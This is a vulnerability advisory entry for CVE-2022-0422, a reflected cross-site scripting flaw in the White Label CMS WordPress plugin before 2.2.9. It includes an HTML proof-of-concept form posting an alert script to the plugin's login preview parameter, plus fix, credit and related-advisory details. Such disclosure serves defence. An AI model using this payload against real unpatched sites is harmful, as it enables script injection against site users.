White Label MS < 2.2.9 – Reflected Cross-Site Scripting | CVE 2022-0422 | Plugin Vulnerabilities

Description

The plugin does not sanitise and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

In v < 2.2.8, both unauthenticated and authenticated users can be attacked with it. In 2.2.8, it will only trigger against authenticated user

<html>
    <body>
        <form action="https://example.com/wp-login.php?wlcms-action=preview" method="POST">
            <input type="text" value='alert(/XSS/);' name="wlcms[_login_custom_js]" />
            <input type="submit" value="Exploit me pls" />
        </form>
    </body>
</html>

Affects Plugins

white-label-cms

Fixed in 2.2.9

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2672615

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

429be4eb-8a6b-4531-9465-9ef0d35c12cc

Timeline

Publicly Published

2022-02-07 (about 3 years ago)

Added

2022-02-07 (about 3 years ago)

Last Updated

2022-04-13 (about 3 years ago)

Other

Published

Title

Published

2025-01-15

Title

Flexible PDF Coupons < 1.10.3 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2022-09-30

Title

CRM Perks Forms < 1.1.1 - Reflected XSS

Published

2014-08-01

Title

Mobiloud 1.9.0 - comments/disqus_count.php shortname Parameter Reflected XSS

Published

2024-12-05

Title

WPForms < 1.9.2.3 - Admin+ Stored XSS

Published

2025-09-05

Title

코드엠샵 소셜톡 <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting